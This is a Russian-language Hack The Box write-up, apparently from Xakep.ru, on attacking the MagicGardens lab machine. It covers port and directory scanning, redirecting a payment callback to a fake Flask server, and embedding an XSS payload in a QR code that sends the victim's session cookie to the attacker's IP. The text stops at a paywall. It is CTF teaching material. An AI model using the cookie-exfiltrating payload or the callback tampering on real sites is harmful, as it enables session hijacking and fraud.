Содержание статьи
Наша главная цель — получение прав суперпользователя на машине MagicGardens с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /
:
10.10.11.9 magicgardens.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).

Сканер нашел четыре открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.22.1;
- 1337 — неизвестная служба;
- 5000 — служба Docker Registry.
Docker Registry использует HTTP-аутентификацию, учетных данных от SSH у нас пока нет, поэтому начинаем с изучения доступного нам веб‑сайта.

Точка входа
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-
-u
— URL; -
-w
— словарь (я использую словари из набора SecLists); -
-t
— количество потоков; -
-d
— глубина сканирования.
Задаем все параметры и запускаем сканирование:
feroxbuster -u http://magicgardens.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128

В числе прочего находим админку Django на странице /
.

Также на сайте есть возможность авторизации и регистрации.

Авторизованному пользователю всегда доступно больше возможностей, поэтому сразу же регистрируемся. Теперь нам доступны такие функции, как выбор товаров и даже система подписки — что‑то вроде получения постоянной скидки на товары.


Судя по сообщению на странице, после подтверждения банка мы должны были получить QR-код, однако ничего такого не произошло. А еще при выборе товара нам придет сообщение от какого‑то morty, который говорит, что если отправим ему QR-код, то получим свою скидку.

Перейдем к Burp History и пройдемся по запросам в поисках чего‑нибудь аномального и интересного. Например, в запросе к банку в параметре bank
указан какой‑то адрес.

Запустим листенер на порте 80, перенаправим запрос в Burp Repeater и укажем в параметре bank
адрес своего сервера.


Листенер засечет HTTP-запрос с сервера. Так как никакого ответа мы не отправили, на сервере отображено не такое сообщение, как раньше.

То есть, если мы ответим серверу, сможем получить нужный QR-код.
Точка опоры
Сделаем на Python сервер, который будет отвечать на запрос к /
.
from flask import Flask, jsonify, requestapp = Flask(__name__)@app.route('/api/payments/', methods=['POST'])def func_payment(): r_json = request.get_json() r_json['status'] = "200" return jsonify(r_json)app.run(host='0.0.0.0', port=80, debug=True)
Запускам код, а затем повторяем запрос с подменой адреса своим.


Теперь получаем сообщение, что подписка в обработке, а при обновлении страницы появляется желанный QR-код.

Расшифруем QR-код, чтобы понимать, какие данные он хранит.

Скорее всего, morty проверяет имя пользователя, когда декодирует QR-код. Попробуем вместо имени аккаунта подставить код на JavaScript. Превратить его в QR можно при помощи онлайнового генератора.
3cca634013591eb51173fb6207572e37.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror=this.src='http://10.10.16.51/?c='+document.cookie>
Этот код отправит на наш сервер cookie пользователя. Запускаем листенер (nc
) и отправляем в ответном сообщении пользователю morty сгенерированный QR-код. Почти сразу получаем запрос с сессионным идентификатором пользователя.

Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее